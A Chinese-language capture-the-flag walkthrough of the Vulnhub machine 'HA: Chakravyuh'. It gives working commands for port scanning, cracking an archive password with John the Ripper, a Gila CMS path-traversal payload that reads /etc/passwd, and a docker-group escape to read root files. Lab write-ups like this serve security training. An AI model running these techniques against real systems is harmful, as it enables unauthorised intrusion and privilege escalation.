HA: Chakravyuh Vulnhub Walkthrough
靶机链接:
https://www.vulnhub.com/entry/ha-chakravyuh,388/
主机探测扫描:
端口扫描:
╰─ nmap -p- -sC -sV 10.10.202.131
FTP 匿名访问
下载压缩文件,解压缩需要密码,基本套路一直,需要密码,接下来就是找解压密码的事情了
目录枚举下
phpmyadmin 尝试弱口令密码爆破未果
phpmyadmin 版本为4.6.6 无RCE之类的漏洞
那么尝试爆破下载的7z格式的压缩包文件
这里使用的工具:
https://github.com/truongkma/ctf-tools/blob/master/John/run/7z2john.py
python 7z2ctf.py arjun.7z > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john hash --show
arjun.7z:family
解压密码为:family
解码获取的secret.txt的内容为:
Z2lsYTphZG1pbkBnbWFpbC5jb206cHJpbmNlc2E=
base64解码为:gila:admin@gmail.com:princesa
gila为一个cms系统,尝试访问看看
登录后台:http://10.10.202.131/gila/admin
admin@gmail.com:princesa
这里用到的exp https://www.exploit-db.com/exploits/47407
http://10.10.202.131/gila/admin/fm/?f=src../../../../../../../../../etc/passwd
浏览到系统目录文件,尝试编辑index.php 添加反shell代码进去,保存,访问即可弹回shell
python -c 'import pty;pty.spawn("/bin/bash")'
提权操作:
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
cat /etc/crontab
ls -lh /etc/passwd
netstat -tunlp
没找到可提权的程序,最后发现当前账户的属组是docker组的,大家都知道docker运行基本都是root权限的身份去执行的
docker run -v /root:/mnt -it alpine
此命令的意思是:docker运行一个交互式的Linux系统alpine,挂载系统的/root 目录到/mnt目录下,这样就可以获取到root目录下的文件内容了。或者直接写root的crontab 等
OVER!!